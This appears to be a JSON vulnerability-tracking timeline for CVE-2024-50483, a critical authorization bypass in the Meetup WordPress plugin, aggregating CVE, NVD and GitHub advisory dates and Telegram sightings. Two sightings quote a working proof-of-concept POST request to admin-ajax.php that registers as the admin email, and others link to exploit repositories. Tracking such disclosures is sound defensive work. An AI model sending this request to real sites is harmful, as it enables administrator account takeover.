{"metadata": {"vulnerability": "CVE-2024-50483", "count": 24, "kinds": {"milestone": 4, "sighting": 11, "kev": 0, "other": 9}}, "data": [{"timestamp": "2024-10-24T07:26:38.824Z", "date_only": false, "value": "2024-10-24T07:26:38.824Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2024-50483", "field": "cveMetadata.dateReserved"}, {"timestamp": "2024-10-28T12:29:26.577Z", "date_only": false, "value": "2024-10-28T12:29:26.577Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-50483", "field": "cveMetadata.datePublished"}, {"timestamp": "2024-10-28T13:15:06Z", "date_only": false, "value": "2024-10-28T13:15:06Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-8RQM-M9FJ-HXXC", "record": "GHSA-8RQM-M9FJ-HXXC", "field": "database_specific.nvd_published_at"}, {"timestamp": "2024-10-28T13:15:06.340Z", "date_only": false, "value": "2024-10-28T13:15:06.340", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-50483", "record": "FKIE_CVE-2024-50483", "field": "published"}, {"timestamp": "2024-10-28T15:19:38Z", "date_only": false, "value": "2024-10-28T15:19:38.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cvedetector/9121", "record": "CVE-2024-50483", "field": "creation_timestamp", "uuid": "1c29c50f-c49e-41d1-bff7-943ba35fe65a", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50483 - Meetup Authorization Bypass Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-50483 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : Authorization Bypass Through User-Controlled Key vulnerability in Meetup allows Privilege Escalation.This issue affects Meetup: from n/a through 0.1. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "url": "https://t.me/cvedetector/9121"}, {"timestamp": "2024-10-28T15:31:14Z", "date_only": false, "value": "2024-10-28T15:31:14Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-8RQM-M9FJ-HXXC", "record": "GHSA-8RQM-M9FJ-HXXC", "field": "published"}, {"timestamp": "2024-10-28T16:17:19.100Z", "date_only": false, "value": "2024-10-28T16:17:19.100467Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-50483", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2024-10-28T16:17:19.100Z", "date_only": false, "value": "2024-10-28T16:17:19.100467Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-50483", "record": "FKIE_CVE-2024-50483", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-11-11T17:23:26Z", "date_only": false, "value": "2024-11-11T17:23:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ckeArsenal/17", "record": "CVE-2024-50483", "field": "creation_timestamp", "uuid": "df0c6249-1103-4eef-a133-ee497de89977", "content": "CVE-2024-50483\n\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: kubernetes.docker.internal\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 149\n\naction=meetup_fb_register&email=admin@admin.com&first_name=Test&last_name=User&id=12345678901234567890&type=token&link=https://example.com/user/test/\n\n#exploit #poc", "url": "https://t.me/ckeArsenal/17"}, {"timestamp": "2024-11-11T17:23:52Z", "date_only": false, "value": "2024-11-11T17:23:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/haj3imad/20589", "record": "CVE-2024-50483", "field": "creation_timestamp", "uuid": "6e7de90e-5f8f-40d3-9b61-0367ce34c66c", "content": "CVE-2024-50483\n\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: kubernetes.docker.internal\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 149\n\naction=meetup_fb_register&email=admin@admin.com&first_name=Test&last_name=User&id=12345678901234567890&type=token&link=https://example.com/user/test/\n\n#exploit #poc", "url": "https://t.me/haj3imad/20589"}, {"timestamp": "2024-11-12T15:27:07Z", "date_only": false, "value": "2024-11-12T15:27:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/3445", "record": "CVE-2024-50483", "field": "creation_timestamp", "uuid": "5887977f-66c2-4810-a176-10c967c3adbf", "content": "https://github.com/RandomRobbieBF/CVE-2024-50483\n\nMeetup <= 0.1 - Authentication Bypass via Account Takeover\n#github #exploit #poc", "url": "https://t.me/CNArsenal/3445"}, {"timestamp": "2024-12-08T03:36:04Z", "date_only": false, "value": "2024-12-08T03:36:04.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberDilara/1286", "record": "CVE-2024-50483", "field": "creation_timestamp", "uuid": "93546269-d6f9-4cf7-acec-9093cc1d7c01", "content": "Tools - Hackers Factory \n\n#Purple_Team_Exercises\n\nPurple Team Exercise Framework (PTEF)\n\nhttps://github.com/scythe-io/purple-team-exercise-framework\n\nA new sandbox escape vulnerabilities at #POC2024\n \nblog post: https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/\n\nSlides:\nhttps://github.com/jhftss/jhftss.github.io/blob/main/res/slides/A%20New%20Era%20of%20macOS%20Sandbox%20Escapes.pdf\n\n#exploit\n\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\n\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\n\nhttps://github.com/imnotcha0s/CVE-2024-10914\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\n\nA web application that assists network defenders, analysts, and researchers in the process of mapping adversary behaviors to the MITRE ATT&CK\u00ae framework.\n\nhttps://github.com/cisagov/decider\n\n#HackersFactory", "url": "https://t.me/CyberDilara/1286"}, {"timestamp": "2024-12-08T03:37:01Z", "date_only": false, "value": "2024-12-08T03:37:01.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/dilagrafie/3963", "record": "CVE-2024-50483", "field": "creation_timestamp", "uuid": "96f7387f-4b1c-4b39-a160-aeed0373b002", "content": "Tools - Hackers Factory \n\n#Purple_Team_Exercises\n\nPurple Team Exercise Framework (PTEF)\n\nhttps://github.com/scythe-io/purple-team-exercise-framework\n\nA new sandbox escape vulnerabilities at #POC2024\n \nblog post: https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/\n\nSlides:\nhttps://github.com/jhftss/jhftss.github.io/blob/main/res/slides/A%20New%20Era%20of%20macOS%20Sandbox%20Escapes.pdf\n\n#exploit\n\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\n\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\n\nhttps://github.com/imnotcha0s/CVE-2024-10914\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\n\nA web application that assists network defenders, analysts, and researchers in the process of mapping adversary behaviors to the MITRE ATT&CK\u00ae framework.\n\nhttps://github.com/cisagov/decider\n\n#HackersFactory", "url": "https://t.me/dilagrafie/3963"}, {"timestamp": "2024-12-08T03:49:57Z", "date_only": false, "value": "2024-12-08T03:49:57.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GrayHatsHack/7705", "record": "CVE-2024-50483", "field": "creation_timestamp", "uuid": "c72707cb-12c8-4921-ad71-f03c1609cc71", "content": "Tools - Hackers Factory \n\n#Purple_Team_Exercises\n\nPurple Team Exercise Framework (PTEF)\n\nhttps://github.com/scythe-io/purple-team-exercise-framework\n\nA new sandbox escape vulnerabilities at #POC2024\n \nblog post: https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/\n\nSlides:\nhttps://github.com/jhftss/jhftss.github.io/blob/main/res/slides/A%20New%20Era%20of%20macOS%20Sandbox%20Escapes.pdf\n\n#exploit\n\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\n\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\n\nhttps://github.com/imnotcha0s/CVE-2024-10914\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\n\nA web application that assists network defenders, analysts, and researchers in the process of mapping adversary behaviors to the MITRE ATT&CK\u00ae framework.\n\nhttps://github.com/cisagov/decider\n\n#HackersFactory", "url": "https://t.me/GrayHatsHack/7705"}, {"timestamp": "2024-12-08T03:49:57Z", "date_only": false, "value": "2024-12-08T03:49:57.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GrayHatsHack/9111", "record": "CVE-2024-50483", "field": "creation_timestamp", "uuid": "747cc8f8-e17f-4653-b007-88905d23e977", "content": "Tools - Hackers Factory \n\n#Purple_Team_Exercises\n\nPurple Team Exercise Framework (PTEF)\n\nhttps://github.com/scythe-io/purple-team-exercise-framework\n\nA new sandbox escape vulnerabilities at #POC2024\n \nblog post: https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/\n\nSlides:\nhttps://github.com/jhftss/jhftss.github.io/blob/main/res/slides/A%20New%20Era%20of%20macOS%20Sandbox%20Escapes.pdf\n\n#exploit\n\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\n\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\n\nhttps://github.com/imnotcha0s/CVE-2024-10914\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\n\nA web application that assists network defenders, analysts, and researchers in the process of mapping adversary behaviors to the MITRE ATT&CK\u00ae framework.\n\nhttps://github.com/cisagov/decider\n\n#HackersFactory", "url": "https://t.me/GrayHatsHack/9111"}, {"timestamp": "2024-12-10T04:28:56Z", "date_only": false, "value": "2024-12-10T04:28:56.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GrayHatsHack/7706", "record": "CVE-2024-50483", "field": "creation_timestamp", "uuid": "a971fcfd-f69a-4b81-a80e-3ec1fe019cd6", "content": "Tools - Hackers Factory \n\n#Purple_Team_Exercises\n\nPurple Team Exercise Framework (PTEF)\n\nhttps://github.com/scythe-io/purple-team-exercise-framework\n\nA new sandbox escape vulnerabilities at #POC2024\n \nblog post: https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/\n\nSlides:\nhttps://github.com/jhftss/jhftss.github.io/blob/main/res/slides/A%20New%20Era%20of%20macOS%20Sandbox%20Escapes.pdf\n\n#exploit\n\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\n\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\n\nhttps://github.com/imnotcha0s/CVE-2024-10914\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\n\nA web application that assists network defenders, analysts, and researchers in the process of mapping adversary behaviors to the MITRE ATT&CK\u00ae framework.\n\nhttps://github.com/cisagov/decider\n\n#HackersFactory", "url": "https://t.me/GrayHatsHack/7706"}, {"timestamp": "2024-12-10T04:28:56Z", "date_only": false, "value": "2024-12-10T04:28:56.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GrayHatsHack/9113", "record": "CVE-2024-50483", "field": "creation_timestamp", "uuid": "aa1983b1-3966-469c-b0e1-9098db690669", "content": "Tools - Hackers Factory \n\n#Purple_Team_Exercises\n\nPurple Team Exercise Framework (PTEF)\n\nhttps://github.com/scythe-io/purple-team-exercise-framework\n\nA new sandbox escape vulnerabilities at #POC2024\n \nblog post: https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/\n\nSlides:\nhttps://github.com/jhftss/jhftss.github.io/blob/main/res/slides/A%20New%20Era%20of%20macOS%20Sandbox%20Escapes.pdf\n\n#exploit\n\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\n\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\n\nhttps://github.com/imnotcha0s/CVE-2024-10914\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\n\nA web application that assists network defenders, analysts, and researchers in the process of mapping adversary behaviors to the MITRE ATT&CK\u00ae framework.\n\nhttps://github.com/cisagov/decider\n\n#HackersFactory", "url": "https://t.me/GrayHatsHack/9113"}, {"timestamp": "2025-01-15T00:36:56Z", "date_only": false, "value": "2025-01-15T00:36:56.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/11414", "record": "CVE-2024-50483", "field": "creation_timestamp", "uuid": "1e6e73eb-2197-4816-9f03-fedb3fada435", "content": "#exploit\n1. CVE-2024-49681:\nWP Sessions Time Monitoring Full Automatic <=1.0.9 - Unauthenticated SQLI\nhttps://github.com/RandomRobbieBF/CVE-2024-49681\n\n2. CVE-2024-10914:\nD-Link NAS Command Injection\nhttps://github.com/imnotcha0s/CVE-2024-10914\n]-> Exploitation + Fix\n\n3. CVE-2024-50483:\nWP Meetup 0.1 Authentication Bypass\nhttps://github.com/RandomRobbieBF/CVE-2024-50483", "url": "https://t.me/CyberSecurityTechnologies/11414"}, {"timestamp": "2026-04-01T16:28:49.657Z", "date_only": false, "value": "2026-04-01T16:28:49.657Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / Patchstack", "record": "CVE-2024-50483", "field": "containers.cna.datePublic"}, {"timestamp": "2026-04-01T18:32:10Z", "date_only": false, "value": "2026-04-01T18:32:10Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-8RQM-M9FJ-HXXC", "record": "GHSA-8RQM-M9FJ-HXXC", "field": "modified"}, {"timestamp": "2026-04-28T16:10:30.344Z", "date_only": false, "value": "2026-04-28T16:10:30.344Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / Patchstack", "record": "CVE-2024-50483", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-05-11T21:23:11.737Z", "date_only": false, "value": "2026-05-11T21:23:11.737Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2024-50483", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-05-11T21:23:11.737Z", "date_only": false, "value": "2026-05-11T21:23:11.737Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-50483", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-17T08:04:33.483Z", "date_only": false, "value": "2026-06-17T08:04:33.483", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-50483", "record": "FKIE_CVE-2024-50483", "field": "lastModified"}]}